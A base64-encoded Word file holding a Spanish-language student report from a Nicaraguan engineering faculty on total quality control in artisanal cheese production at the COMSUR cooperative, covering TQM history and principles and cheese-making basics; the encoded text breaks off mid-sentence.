vB0AAAAAAAC8HQAAHAAAANgdAAB0AAAAVgMAAAAAAABdMgAAMgEAAFgeAAAAAAAAWB4AAAAA AABYHgAAAAAAAFgeAAAAAAAAWB4AAAAAAABYHgAAAAAAAFgeAAAAAAAAWB4AAAAAAACJLwAA AgAAAIsvAAAAAAAAiy8AAAAAAACLLwAAJwAAALIvAAAWAQAAyDAAABYBAADeMQAAJAAAAI8z AAAgAgAArzUAAKQAAAACMgAAFQAAAAAAAAAAAAAAAAAAAAAAAABCAwAAAAAAAFgeAAAAAAAA AAAAAAAAAAAAAAAAAAAAAFgeAAAAAAAAWB4AAAAAAABYHgAAAAAAAFgeAAAAAAAAAjIAAAAA AADoIAAAAAAAAEIDAAAAAAAAQgMAAAAAAABYHgAAAAAAAAAAAAAAAAAAWB4AAAAAAAAXMgAA FgAAAOggAAAAAAAA6CAAAAAAAADoIAAAAAAAAFgeAABuAgAAQgMAAAAAAABYHgAAAAAAAEID AAAAAAAAWB4AAAAAAACJLwAAAAAAAAAAAAAAAAAA6CAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABYHgAAAAAAAIkvAAAAAAAA6CAAAKoI AADoIAAAAAAAAJIpAAA6AAAARywAAP4CAABCAwAAAAAAAEIDAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB9LwAAAAAAAFge AAAAAAAATB4AAAwAAADgMvRB0RPBAVYDAABmGgAAvB0AAAAAAADGIAAAAAAAAEUvAAAKAAAA AAAAAAAAAAB9LwAADAAAAC0yAAAwAAAAXTIAAAAAAABPLwAALgAAAFM2AAAAAAAAxiAAACIA AABTNgAAAAAAAH0vAAAAAAAA6CAAAAAAAABWAwAAAAAAAFYDAAAAAAAAQgMAAAAAAABCAwAA AAAAAEIDAAAAAAAAQgMAAAAAAAACANkAAABVTklWRVJTSURBRCBOQUNJT05BTCBERSBJTkdF TklFUs1BDVJFQ0lOVE8gVU5JVkVSU0lUQVJJTyCTUEVEUk8gQVLBVVogUEFMQUNJT1OUDUZB Q1VMVEFEIFRFQ05PTE9HzUEgREUgTEEgSU5EVVNUUklBDQ0NDQ1UZW1hIEdlbmVyYWw6IENv bnRyb2wgZGUgbGEgY2FsaWRhZCB0b3RhbA1UZW1hIGVzcGVj7WZpY286IENvbnRyb2wgZGUg bGEgY2FsaWRhZCB0b3RhbCBlbiBsYSBlbGFib3JhY2nzbiBkZSBxdWVzb3MgZW4gQ09NU1VS DQ0NSW50ZWdyYW50ZXM6ICBSZW7pIEluY2VyIFNvbWFycmliYQ1OZWxzb24gRnVlbnRlcw1N b2lz6XMgTGVjaGFkbw1HcnVwbzogMU0xIEluZC4NUHJvZi46IEdlcm3hbiBM83Bleg1GZWNo YTogMjYvMDcvMDENDQ1PYmpldGl2byBHZW5lcmFsOg0NQ29ub2NlciBlbCBwcm9jZXNvIGRl IHByb2R1Y2Np824gZGVsIHF1ZXNvICBlbiBsYSBxdWVzZXJhIGFydGVzYW5hbCBDT01TVVIg eSBsYXMgbWVkaWRhcyBkZSBjYWxpZGFkIHF1ZSBzZSBsbGV2YW4gYSBjYWJvIGVuIHN1IGVt cGFxdWUgeSBzdXMgZGVzZWNob3MgY29uIGVsIGZpbiBkZSBtZWpvcmFyIGVsIHNpc3RlbWEg cHJvZHVjdGl2by4NDQ1PYmpldGl2b3MgRXNwZWPtZmljb3M6DQ1FeHBsaWNhciBsbyBxdWUg ZXMgY2FsaWRhZCB0b3RhbCB5IHN1IGltcG9ydGFuY2lhIGVuIHVuYSBlbXByZXNhDQ1FeHBs aWNhciBsb3MgcGFzb3MgcXVlIHNlIGxsZXZhbiBhIGNhYm8gZW4gbGEgZWxhYm9yYWNp824g ZGVsIHF1ZXNvLg0NRGV0ZXJtaW5hciBsb3MgcHJvYmxlbWFzIHF1ZSBzZSBkYW4gY29uIGxv cyBkZXNlY2hvcyBxdWUgc2UgcHJlc2VudGFuIGVuIGxhIHByb2R1Y2Np824uDQ1TZfFhbGFy ICBsYXMgbWVkaWRhcyBxdWUgZGViZW4gZGUgbGxldmFyIGxvcyB0cmFiYWphZG9yZXMgZW4g bGEgZWxhYm9yYWNp824gZGVsIHF1ZXNvIGFydGVzYW5hbC4NDQ0NSGlw83Rlc2lzOiANDUVu IGxhIGVsYWJvcmFjafNuIGRlbCBxdWVzbyBhcnRlc2FuYWwgc2UgZGViZW4gZGUgc2VndWly IGFsZ3VuYXMgcmVnbGFzIGRlIGNvbnRyb2wgZGUgY2FsaWRhZCwgdGFudG8gZW4gc3UgZWxh Ym9yYWNp824gY29tbyBzdSBlbXBhcXVlIHkgYXPtIGhhY2VyIGRlIOlsIHVuIHByb2R1Y3Rv IGJ1ZW5vIGNvbiBlbCBvYmpldGl2byBxdWUgc2VhIGFjZXB0YWRvIHBvciBsYSBjbGllbnRl bGEuDQ0NDQ0NDQ0NDQ0NDQ1NYXJjbyBUZfNyaWNvIA0NDUFudGVjZWRlbnRlcyBoaXN083Jp Y29zIGRlIGxhIENhbGlkYWQgVG90YWwNDUxhIGZpbG9zb2btYSBkZSBsYSBjYWxpZGFkIHRv dGFsLCBlcyBlbCByZXRvIGdlcmVuY2lhbCBkZSBlc3RlIG1pbGVuaW8sIHBvciBsbyBxdWUg c2Vy4SBsYSBoaXN0b3JpYSBxdWllbiBqdXpnYXJhIHN1IGJhbGFuY2UuIFBlcm8gc2luIGFk ZWxhbnRhcm5vcyBhIGVtaXRpciBqdWljaW8gYWNlcmNhIGRlbCBtaXNtbywgcG9kZW1vcyBh c2V2ZXJhciBxdWUgc2luIGx1Z2FyIGEgZHVkYXMsIHN1cyBjcmVhZG9yZXMgaGEgaW5pY2lh ZG8gdW4gdGVyY2VyIHBlcu1vZG8gZW4gbGEgaGlzdG9yaWEgZ2VyZW5jaWFsLCBwb3IgbG8g cXVlIGFsZ3Vub3MgZXN0dWRpb3NvcyBkZSBsYSBkaXNjaXBsaW5hIGFkbWluaXN0cmF0aXZh IGhhbiBkZWZpbmlkbyBsYSBleGlzdGVuY2lhIGRlIHRyZXMgZ2VuZXJhY2lvbmVzIGRlIHRl Y25vbG9n7WEgZ2VyZW5jaWFsLCBjb21lbnphbmRvIGNvbiBzdXMgcHJpbWVyb3MgcGFzb3Ms IGxvIHF1ZSBkZW5vbWluYW4gbGEgcHJlLWdlcmVuY2lhLCBxdWUgYWJhcmNhIGRlc2RlIGVs IG5hY2ltaWVudG8gbWlzbW8gZGUgbGEgaHVtYW5pZGFkIGhhc3RhIGVsIGNvbWllbnpvIGRl IGVzdGUgc2lnbG8sIGNvbiBsb3MgaW5kaXNjdXRpYmxlcyBhcG9ydGVzIGRlIEZyZWRlaWNr IFRheWxvciwgcGFkcmUgZGUgbGEgYWRtaW5pc3RyYWNp824gY2llbnTtZmljYSB5IGxvcyBk ZSBIZW5yeSBGYXlvbCwgcGFkcmUgZGUgbGEgbW9kZXJuYSB0ZW9y7WEgYWRtaW5pc3RyYXRp dmEsIGhhc3RhIDE5NTAsIGN1YW5kbyBlbiBlbCBtdW5kbyBvcmllbnRhbCBlc3BlY+1maWNh bWVudGUgSmFw824sIGRlc2N1YnLtYSBlbCBuYWNpbWllbnRvIGRlIGxhIHRlcmNlcmEgZ2Vu ZXJhY2nzbiBnZXJlbmNpYWwgbGlkZXJpemFkYSBwb3IgZWwgY3JlYWRvciBkZSBsYSBmaWxv c29m7WEgZGUgbGEgY2FsaWRhZCB0b3RhbDogV2lsbGlhbSBFZHdhcmQgRGVtaW5nIGVsIGdl bmlvIHF1ZSByZXZvbHVjaW9ubyBsYSBnZXJlbmNpYSBjb250ZW1wb3LhbmVhIA0JRXhpc3Rl biBtdWNob3MgYXNwZWN0b3MgcXVlIHB1ZWRlbiBzZXIgZGlzY3V0aWRvcyBhbCByZWZlcmly bm9zIGFsIGNvbmNlcHRvIGRlIGNhbGlkYWQsIGxvIGN1YWwgZGlmaWN1bHRhIHN1IGRlZmlu aWNp824uIEFsZ3Vub3MgbGEgY29uc2lkZXJhbjogk2FkYXB0YXJzZSBhIGxhcyBlc3BlY2lm aWNhY2lvbmVzlC4gT3Ryb3MsIJNhZGVjdWFyc2UgYWwgdXNvlC4NCUxhIGNhbGlkYWQgZXMg dW4gcHJvZHVjdG8gbyBzZXJ2aWNpbyBjb25zaXN0ZW50ZSB5IGNvbmZpYWJsZSBxdWUgc2F0 aXNmYWNlIG8gZXhjZWRlIGxvcyByZXF1ZXJpbWllbnRvcyBkZWwgY2xpZW50ZSBhbCBwcmVj aW8gcXVlIGVzdOEgZGlzcHVlc3RvIGEgcGFnYXIuDQ0NDQ0NDURhdG9zIGhpc3Tzcmljb3Mg ZGUgbGEgcXVlc2VyYSBDT01TVVINDQlMYSBDb29wZXJhdGl2YSBNdWx0aXNlY3RvcmlhbCBk ZWwgU3VyLCBDT01TVVIgUi5MLiwgY29tZW568yBhIGZ1bmNpb25hciBhIGZpbmFsZXMgZGUg bG9zIGHxb3Mgb2NoZW50YXMgY29tbyB1bm8gZGlzdHJpYnVpZG9yYSBxdWUgdmVuZO1hIHBy b2R1Y3RvcyBkZSBzaWVtYnJhcywgYWxpbWVudG9zIHBhcmEgYW5pbWFsZXMgZG9t6XN0aWNv cywgZ3JhbmphcywgZXF1aW5vLCBib3Zpbm8sIGN1eW8gcHJlc2lkZW50ZSBlcmEgeSBlcyBh Y3R1YWxtZW50ZSBNaWd1ZWwgQW50b25pbyBaYXBhdGEgRXNwaW5vemEuIEVzdGEgZW1wcmVz YSBlc3ThIGNvbmZvcm1hZGEgcG9yIDYgc29jaW9zLg1FbiBlbCBh8W8gMTk5NyBzZSBidXNj 8yB1biBmb3JtYSBkZSBtZWpvcmFyIGVsIHNlcnZpY2lvLCB5IHNlIGhpem8gdW5hIGludmVy c2nzbiBjb24gZWwgUEFQSU0gKHVuYSBlbXByZXNhIGludmVyc29yYSkgY29tZW56YW5kbyB1 biBjdXJzbyBxdWUgZHVy8yB1bm9zIHNlaXMgbWVzZXMgZWwgY3VhbCBjb25zaXN07WEgZW4g bGEgZWxhYm9yYWNp824gZGUgbG9zIHByb2R1Y3RvcyBs4WN0ZW9zLiBJbnZpcnRpZXJvbiBl biB1bmEgY29uc3RydWNjafNuIHkgbGEgY29uZGljaW9uYXJvbiBkZSBlcXVpcG9zIGFydGVz YW5hbGVzIHBhcmEgaGFjZXJsYSB1biBsdWdhciBkZSBlbGFib3JhY2nzbiBkZSBkaWNob3Mg cHJvZHVjdG9zLg1BY3R1YWxtZW50ZSBjdWVudGFuIGNvbiBkb2NlIHRyYWJhamFkb3JlcyBs b3MgY3VhbGVzIGRvcyBzZSBlbmNhcmdhbiBkZSBsYSBsZWNoZSB5IGRlIGxhIGNyZW1hLCBj dWF0cm8gdHJhYmFqYW4gZW4gbGEgZWxhYm9yYWNp824gZGVsIHF1ZXNvLCBvdHJvcyBjdWF0 cm8gc2UgZGVkaWNhbiBhbCBlbXBhcXVlIHkgbG9zIG90cm9zIGRvcyBzZSBlbmNhcmdhbiBk ZSBsYSBkaXN0cmlidWNp824uDQ2/UXVlIGVzIGxhIENhbGlkYWQgVG90YWw/DUxhIGNhbGlk YWQgZXMgdW4gY29uY2VwdG8sIHVuYSBmaWxvc29m7WEsIHVuYSBlc3RyYXRlZ2lhLCB1biBt b2RlbG8gZGUgaGFjZXIgbmVnb2Npb3MsIGVzdOEgbG9jYWxpemFkbyBoYWNpYSBlbCBjbGll bnRlIHkg6XN0YSBubyBzb2xvIHNlIHJlZmllcmUgYWwgcHJvZHVjdG8gbyBzZXJ2aWNpbyBl biBz7Swgc2lubyBxdWUgZXMgbGEgbWVqb3LtYSBwZXJtYW5lbnRlIGRlbCBhc3BlY3RvIG9y Z2FuaXphY2lvbmFsLCBnZXJlbmNpYWw7IHRvbWFuZG8gdW5hIGVtcHJlc2EgY29tbyB1bmEg beFxdWluYSBnaWdhbnRlc2NhLCBkb25kZSBjYWRhIHRyYWJhamFkb3IsIGRlc2RlIGVsIGdl cmVudGUgaGFzdGEgZWwgZnVuY2lvbmFyaW8gZGVsIG3hcyBiYWpvIG5pdmVsIGplcuFycXVp Y28gZXN04W4gY29tcHJvbWV0aWRvcyBjb24gbG9zIG9iamV0aXZvcyBlbXByZXNhcmlhbGVz LiANUGFyYSBxdWUgbGEgY2FsaWRhZCB0b3RhbCBzZSBsb2dyZSBhIHBsZW5pdHVkLCBlcyBu ZWNlc2FyaW8gcXVlIHNlIHJlc2NhdGVuIGxvcyB2YWxvcmVzIG1vcmFsZXMgYuFzaWNvcyBk ZSBsYSBzb2NpZWRhZCB5IGVzIGFxde0sIGRvbmRlIGVsIGVtcHJlc2FyaW8ganVlZ2EgdW4g cGFwZWwgZnVuZGFtZW50YWwsIGVtcGV6YW5kbyBwb3IgbGEgZWR1Y2FjafNuIHByZXZpYSBk ZSBzdXMgdHJhYmFqYWRvcmVzIHBhcmEgY29uc2VndWlyIHVuYSBwb2JsYWNp824gbGFib3Jh bCBt4XMgcHJlZGlzcHVlc3RhLCBjb24gbWVqb3IgY2FwYWNpZGFkIGRlIGFzaW1pbGFyIGxv cyBwcm9ibGVtYXMgcGFyYSBzdWdlcmlyIGNhbWJpb3MgZW4gcHJvdmVjaG8gZGUgbGEgY2Fs aWRhZCwgY2FwYWNpZGFkIGRlIGFu4Wxpc2lzIHkgb2JzZXJ2YWNp824gZGVsIHByb2Nlc28g ZGUgbWFudWZhY3R1cmEgZW4gY2FzbyBkZSBwcm9kdWN0b3MgcGFyYSBwb2RlciBlbm1lbmRh ciBlcnJvcmVzLg0NCSBMYSBDYWxpZGFkIFRvdGFsIGVzIHVuIHByb2Nlc28gZW4gZXZvbHVj afNuIGNvbnRpbnVhIHkgcXVlIHBvciBzdSBuYXR1cmFsZXphIG1pc21hIG5vIHNlIHB1ZWRl IGRldGVuZXIsIGRlIGxvIGNvbnRyYXJpbyBkZWphIGRlIHNlciB1biBwcm9jZXNvLg0JUG9k ZW1vcyBkZWZpbmlybGEgZGVzZGUgdHJlcyBwdW50b3MgZGUgdmlzdGE6DQ1QcmluY2lwaW8g VW5pZmljYWRvcjogVG90YWwgZGVkaWNhY2nzbiBhIGxvcyBjbGllbnRlcywgcGFyYSBzYXRp c2ZhY2VyIHN1cyBuZWNlc2lkYWRlcyB5IHN1cGVyYXIgc3VzIGV4cGVjdGF0aXZhcy4NTG9z IHJlc3VsdGFkb3M6IENsaWVudGVzIGZpcm1lbWVudGUgbGVhbGVzLiBFbCB0aWVtcG8gc2Ug cmVkdWNlIHBhcmEgcXVlIGJhamVuIGxvcyBjb3N0b3MuIFVuIGNsaW1hIHF1ZSByZXNwYWxk ZSBlbCB0cmFiYWpvIGRlIGVxdWlwbyB5IHVuIGRlc2VtcGXxbyBt4XMgc2lnbmlmaWNhdGl2 by4gVW5hIOl0aWNhIGdlbmVyYWwgZGUgbWVqb3JhbWllbnRvIGNvbnRpbnVvLg1IZXJyYW1p ZW50YXMgeSBU6WNuaWNhczogQ29udHJvbCBkZSBjYWxpZGFkLCBhc2VndXJhbWllbnRvIGNh bGlkYWQsIGluZ2VuaWVy7WEgcGFyYSBsYSBjb25maWFiaWxpZGFkLiBTaXN0ZW1hIGp1c3Rv IGEgVGllbXBvLiBEZXNhcnJvbGxvIG9yZ2FuaXphY2lvbmFsLiBMaWRlcmF6Z28gKHBhcmEg ZWwgbWVqb3JhbWllbnRvKS4NDQlQYXJhIGVsIGxvZ3JvIGRlIGxhcyBmaW5hbGlkYWRlczog ZXMgaW1wcmVzY2luZGlibGUgbGEgbWVkaWNp824sICBzZWd1aWRhIGRlIG1lam9yYXMgY29u dGludWFzIHNpbiBmaW4uIFNpIG5vIGhheSBtZWRpY2nzbiAgbm8gaGF5IG1lam9yYXMuDQlM YSBjYWxpZGFkLCBkZWJlIG5lY2VzYXJpYW1lbnRlLCBlc3RhciByZWxhY2lvbmFkYSBjb24g ZWwgdXNvIHkgZWwgdmFsb3IgcXVlIHNhdGlzZmFjZSBlbCByZXF1ZXJpbWllbnRvIGRlIGxv cyBjbGllbnRlcy4gU2UgZGViZSBtZWRpciBkZXNkZSBsYSBwZXJzcGVjdGl2YSBkZSDpc3Rl LiBTb24gbG9zIGNsaWVudGVzIHkgbGEgZW1wcmVzYSBtaXNtYSwgeSBubyBsb3MgY29tcGV0 aWRvcmVzLCBsb3MgcXVlIGNvbmRpY2lvbmFuIGxhIHZpZGEgZGUgbGEgZW1wcmVzYS4NCUxh IGNhbGlkYWQgdG90YWwgY29uc3RpdHV5ZSB1bmEgYWRlY3VhZGEgaWRlb2xvZ+1hLCBxdWUg YSB0cmF26XMgZGUgdW4gYnVlbiBtYW5lam8sIGFncmVnYSBlbiBkaXN0aW50YXMgZXRhcGFz LCB2YWxvcmVzOyB2aWdvcml6YW5kbyBlbCBlc3Dtcml0dSBkZSBxdWllbmVzIHBhcnRpY2lw YW4gZGUgZWxsYSBtZWRpYW50ZSBjYW1iaW8gZGUgYWN0aXR1ZGVzLCBjb24gbGFzIHNpZ3Vp ZW50ZXMgZmluYWxpZGFkZXM6DURpcmVjdGE6IFNhdGlzZmFjZXIgYWwgQ2xpZW50ZQ1JbmRp cmVjdGE6IE9idGVuZXIgbHVjcm9zIHBlcm1hbmVudGVzLCBtYXlvciBwZW5ldHJhY2nzbiBk ZSBtZXJjYWRvIHkgYXVtZW50byBkZSB1dGlsaWRhZGVzIHBvciBkaXNtaW51Y2nzbiBkZSBj b3N0b3MuDQ1JbXBvcnRhbmNpYSAgRGUgTGEgQ2FsaWRhZCBUb3RhbC4NDQlCdXNjYSBnYXJh bnRpemFyIGEgbGFyZ28gcGxhem8sIGxhIHN1cGVydml2ZW5jaWEsIGVsIGNyZWNpbWllbnRv IHkgbGEgcmVudGFiaWxpZGFkIGRlIHVuYSBvcmdhbml6YWNp8247IHBvciBsYSB2ZW50YWph IGNvbXBldGl0aXZhIHF1ZSBwcm9kdWNlIGJyaW5kYXIgYSBsb3MgY2xpZW50ZXMgbGEgY2Fs aWRhZCBlbiBiaWVuZXMgeSBzZXJ2aWNpb3MgcXVlIGVsbG9zIHJlY2liZW4gY29tbyB0YWws ICB5IGxhIGVsaW1pbmFjafNuIGRlIHRvZG8gdGlwbyBkZSBkZXNwZXJkaWNpb3MuIEVzdG8g c2UgbG9ncmEsIGNvbiBsYSBwYXJ0aWNpcGFjafNuIGFjdGl2YSBkZSB0b2RvIGVsIHBlcnNv bmFsLCBiYWpvIG51ZXZvcyBlc3RpbG9zIGRlIGxpZGVyYXpnbywgc2llbmRvIGxhIGVzdHJh dGVnaWEsIHJlc3BvbmRlciBhIGxhIG5lY2VzaWRhZCBkZSB0cmFuc2Zvcm1hciBsb3MgcHJv ZHVjdG9zLCBzZXJ2aWNpb3MsIHByb2Nlc29zLCBlc3RydWN0dXJhIHkgY3VsdHVyYSBkZSBs YXMgb3JnYW5pemFjaW9uZXMsIHBhcmEgYXNlZ3VyYXIgc3UgZnV0dXJvLg0NR2VyZW5jaWEg ZGUgQ2FsaWRhZCBUb3RhbA0NCUxhIEdlcmVuY2lhIGRlIENhbGlkYWQgVG90YWwgKFRRTSkg ZXMgdW5hIGZpbG9zb2btYSBnZXJlbmNpYWwgcXVlOg0NSW5zdGl0dWNpb25hbGl6YSB1biBw cm9jZXNvIGNvbnRpbnVvIGRlIG1lam9yYW1pZW50bw1FbmZhdGl6YSBsYSBuZWNlc2lkYWQg ZGUgc2F0aXNmYWNlciBhIHBsZW5pdHVkIGxhcyBuZWNlc2lkYWRlcyB5IGV4cGVjdGF0aXZh cyBkZSBsb3MgY2xpZW50ZXMNRWxpbWluYSBlbCBkZXNwZXJkaWNpbyB5IHJlcHJvY2Vzbw1B cHJvdmVjaGEgZWwgcG90ZW5jaWFsIGRlIHRvZGFzIGxhcyBwZXJzb25hcyBkZSBsYSBvcmdh bml6YWNp824NDQlMYSBDYWxpZGFkIGluY2x1eWUgY2luY28gKDUpIHJlcXVpc2l0b3MgYuFz aWNvczoNDUxpZGVyYXpnbyBHZXJlbmNpYWwuDVBhcnRpY2lwYWNp824gZGVsIGVtcGxlYWRv Lg1TZW5zaWJpbGlkYWQgaGFjaWEgZWwgY2xpZW50ZS4NTWVqb3JhbWllbnRvIGNvbnRpbnVv Lg1BZGllc3RyYW1pZW50byBkZWwgUGVyc29uYWwuDQ0NvyBRdekgZXMgZWwgcXVlc28/DVNl IGRlbm9taW5hIHF1ZXNvLCBhbCBwcm9kdWN0byBmcmVzY28gbyBtYWR1cmFkbyBvYnRlbmlk byBwb3IgY29hZ3VsYWNp824geSBzZXBhcmFjafNuIGRlbCBzdWVybyBkZSBjdWFscXVpZXJh IGRlIGxvcyBzaWd1aWVudGVzIHByb2R1Y3RvczogbGVjaGUsIG5hdGEsIGxlY2hlIGRlc25h dGFkYSAodG90YWwgbyBwYXJjaWFsbWVudGUpLCBzdWVybyBkZSBtYW50ZXF1aWxsYSBvIGRl IHVuYSBtZXpjbGEgZGUgY3VhbHF1aWVyYSBkZSBlbGxvcy4gRWwgcXVlc28gZXMgdW4gcHJv ZHVjdG8gYWxpbWVudGljaW8gcHJlcGFyYWRvIGNvbiBsYSBsZWNoZSBkZSBkaXN0aW50b3Mg YW5pbWFsZXMgcGFyYSBjdXlhIG9idGVuY2nzbiBzZSBjdWFqYSBwcmltZXJvLCBzZSBjb21w cmltZSB5IGV4cHJpbWUgZGVzcHXpcywgY29uIG9iamV0byBkZSBlbGltaW5hciBlbCBzdWVy bywgeSBwb3Ig+mx0aW1vIHNlIGxlIGHxYWRlIGFsZ3VuYSBzYWwgcGFyYSBzdSBjb25zZXJ2 YWNp824uDUxhIGZhYnJpY2FjafNuIGRlIHF1ZXNvIHNhbHZvIGFsZ3VuYXMgZXhjZXBjaW9u ZXMgZXMgcHJlZmVyZW50ZW1lbnRlIGluZHVzdHJpYWwgeSBjb21wcmVuZGUgdHJlcyBvcGVy YWNpb25lcyBmdW5kYW1lbnRhbGVzOiBsYSBjb2FndWxhY2nzbiBkZSBsYSBsZWNoZSwgbGEg ZWxhYm9yYWNp824gZGUgbGEgY3VhamFkYSB5IGxhIGZvcm1hIHkgY29tcHJlc2nzbiBkZWwg cXVlc28uIEEgZXN0YXMgb3BlcmFjaW9uZXMgc2lndWVuIGxhIHNhbGF6824geSBsYSBtYWR1 cmFjafNuLCBxdWUgY29uc2lzdGUgZW4gdW5hIHNlcmllIGRlIHByb2Nlc29zIGZlcm1lbnRh dGl2b3MgcXVlIGRhbiBhbCBxdWVzbyBzdSBjb2xvciwgc2Fib3IgeSBvbG9yIGNhcmFjdGVy 7XN0aWNvcy4gTm8gZXhpc3RlIHVuYSBjbGFzaWZpY2FjafNuIPpuaWNhIGRlIGxvcyBxdWVz b3MsIHlhIHF1ZSBzZSBwdWVkZW4gdG9tYXIgY29tbyBiYXNlIHN1cyBkaXN0aW50YXMgY2Fy YWN0ZXLtc3RpY2FzOyBjb250ZW5pZG8gZW4gbWF0ZXJpYSBncmFzYXMgKGRlc2RlIGVzZSBw dW50byBkZSB2aXN0YSBzZSBwb2Ry7WFuIGRpdmlkaXIgZW4gZ3Jhc29zLCBzZW1pZ3Jhc29z IHkgc2Vjb3MpOyBjb250ZW5pZG8gZW4gYWd1YTsgY29lZmljaWVudGUgZGUgbWFkdXJhY2nz biAocG9yY2VudGFqZSBkZSBuaXRy82dlbm8gc29sdWJsZSByZXNwZWN0byBhbCBuaXRy82dl bm8gdG90YWwgY29udGVuaWRvIGVuIOlsKSB5IGNhcmFjdGVyZXMgZGUgbGEgcGFzdGEgeSBt YWR1cmV6LiBMYSBjbGFzaWZpY2FjafNuIHF1ZSB0b21hIGNvbW8gYmFzZSBlc3RvcyD6bHRp bW9zIGVsZW1lbnRvcyBwYXJlY2UgbGEgbeFzIHJhY2lvbmFsOiBwdWVkZSBoYWJlciBxdWVz b3MgYmxhbmRvcyAiZnJlc2NvcyIgeSAic2FsYWRvcyB5IHNhem9uYWRvcyIsIGR1cm9zLCAi Y29jaWRvcyIgeSAibm8gY29jaWRvcyIsIHkgc2VtaWR1cm9zLCBkZSBhbGd1bmFzIGRlIGVz YXMgY2FyYWN0ZXLtc3RpY2FzLiANUG9yIG90cmEgcGFydGUgbGEgcXVlc2Vy7WEgZXMgZWwg Y29uanVudG8gZGUgbG9zIG1lZGlvcyBuZWNlc2FyaW9zIHBhcmEgbGEgY29uc2VydmFjafNu IHkgZWxhYm9yYWNp824gZGUgbGEgbGVjaGUgeSBwYXJhIGxhIGZhYnJpY2FjafNuIGRlIGxh IG1hbnRlcXVpbGxhIHkgZGVsIHF1ZXNvLiBBdW5xdWUgZXN0YSBpbmR1c3RyaWEgZXMgbGEg beFzIGFudGlndWEgZGVsIG11bmRvLCD6bmljYW1lbnRlIGVuIGxhIEVkYWQgTWVkaWEgZW1w aWV6YSBlbCB2ZXJkYWRlcm8geSBwcm9waW8gZGVzYXJyb2xsbyBkZSBsYSBxdWVzZXLtYSBl biBFdXJvcGEsIHkgc29sYW1lbnRlIGNvbiBsYSBhcGFyaWNp824gZGUgbGEgY2VudHLtZnVn YSBjb2xlY3RvcmEgZGUgbGFzIGNyZW1hcywgcXVlIHBlcm1pdGUgbGEgZWxhYm9yYWNp824g ZGUgbG9zIHN1YnByb2R1Y3RvcyBkZSBsYSBsZWNoZSwgbmFjZW4gbGFzIHF1ZXNlcu1hcyBj b24gY2Fy4WN0ZXIgaW5kdXN0cmlhbC4gTGEgcXVlc2Vy7WEgdHJhZGljaW9uYWwgc2UgY29t cG9uZSBnZW5lcmFsbWVudGUgZGUgbG9zIHNpZ3VpZW50ZSBsb2NhbGVzOiBBKSBlbCBkZXBh cnRhbWVudG8gZGUgZW50cmFkYSB5IGNvbnNlcnZhY2nzbiBkZSBsYSBsZWNoZSwgZG9uZGUg c2UgbWlkZSBvIHBlc2EsIHNlIGNvbnRyb2xhIHkgc2UgYW5hbGl6YTsgQikgZWwgbHVnYXIg ZW4gcXVlIHNlIHJlYWxpemEgbGEgc2VwYXJhY2nzbiBkZSBsYSBuYXRhIChjb24gbGFzIGNl bnRy7WZ1Z2FzIGRlc25hdGFkb3JhcyBvIHBvciBlbCBwcm9jZWRpbWllbnRvIG5hdHVyYWwg Y29uc2lzdGVudGUgZW4gZGVqYXIgZW4gcmVwb3NhIGxhIGxlY2hlIGRlIDEyIGEgMjQgaG9y YXMgZW4gYmFycmXxb3MgYW5jaG9zIHkgcG9jbyBwcm9mdW5kb3MgeSBjb24gZWwgbG9jYWwg YSB1bmEgdGVtcGVyYXR1cmEgY29uc3RhbnRlIGRlIDEyuiAtIDE1uiBDOyBDKSBMYSBjb2Np bmEsIGRvbmRlIHNlIGVuY3VlbnRyYW4gbG9zIHV0ZW5zaWxpb3MgbmVjZXNhcmlvcyBwYXJh IGZhYnJpY2FyIGxhIG1hbnRlcXVpbGxhIG8gZWwgcXVlc28sIGxhcyBjYWxkZXJhcyB5IGxv cyBob3JuaWxsb3MgcGFyYSBsYSBjb2NjafNuIGRlIGxhIGxlY2hlLCBsYXMgbWVzYXMgaW5j bGluYWRhcyBkb25kZSBzZSBjb2xvY2EgZWwgcXVlc28gdW5hIHZleiBlbGFib3JhZG8sIGxh cyBmb3JtYXMgbyBtb2xkZXMsIGxhIG1hbnRlcXVlcu1hLCB2YXNpamEgZGUgbWFkZXJhIGVu IHF1ZSBzZSBoYWNlIGxhIG1hbnRlY2EsIHkgbGEgcHJlbnNhIHBhcmEgZGFyIGNvbXBhY3Rp YmlsaWRhZCBhbCBxdWVzby4gRCkgbGEgcXVlc2VyYSBvIGFsbWFj6W4sIGRvbmRlIHNlIGNv bG9jYW4gZW4gdGFibGFzIHJlc2lzdGVudGVzLCBzdXBlcnB1ZXN0YXMgY29uIGRpZmVyZW50 ZXMgcGxhbm9zLCBwYXJhIHF1ZSBzZSBzYXpvbmVuLCB5IGVsICJzYWxhZGVybyIsIGRvbmRl IHNlIHByb2NlZGUgYSBsYSBzYWxhevNuIGRlbCBxdWVzbyBmcmVzY28gYW50ZXMgZGUgY29s b2NhcmxvIGVuIGxhIHF1ZXNlcmEuIFRhbWJp6W4gdGllbmUgaW1wb3J0YW5jaWEgcXVlIGVu IGVzdGUgbG9jYWwgc2UgbWFudGVuZ2EgdW5hIHRlbXBlcmF0dXJhIGNvbnN0YW50ZSBkZSAx MrogLSAxNbogQy4gTGEgZHVyYWNp824gZGVsIHNhem9uYWRvIHZhcu1hIHNlZ/puIHNlYW4g bG9zIGRpZmVyZW50ZXMgdGlwb3MgZGUgcXVlc28uC0VsIHN1ZXJvIGRlIGxhIGxlY2hlIGVz IHVuIGFsaW1lbnRvIG5ldXRybywgbGlicmUgZGUgcHJvdGXtbmFzIHkgZ3Jhc2FzLCBlcyBp bmRpY2FkbyBwYXJhIGxhIGRpZXRhIGFic29sdXRhIHkgY29udHJhIHbzbWl0b3MgaW5jb2Vy Y2libGVzLCBpbnRvbGVyYW5jaWEgZ+FzdHJpY2FzLCBwYXJhIGNhc29zIGRpc3DpcHRpY29z IHkg+mxjZXJhcyBn4XN0cmljYXMuIA0gICAgIA0NR2VuZXJhbGlkYWRlcw0gICAgIExhcyBl dGFwYXMgbmVjZXNhcmlhcyBwYXJhIGxhIGZhYnJpY2FjafNuIGRlIHF1ZXNvIHNlIG1lbmNp b25hcuFuIGEgY29udGludWFjafNuOyBhdW5xdWUgZGUgaGVjaG8sIGV4aXN0ZW4gdmFyaWFu dGVzIGVzcGVj7WZpY2FzIHBhcmEgY2FkYSB0aXBvLg0NUmVjZXBjafNuIHkgdHJhdGFtaWVu 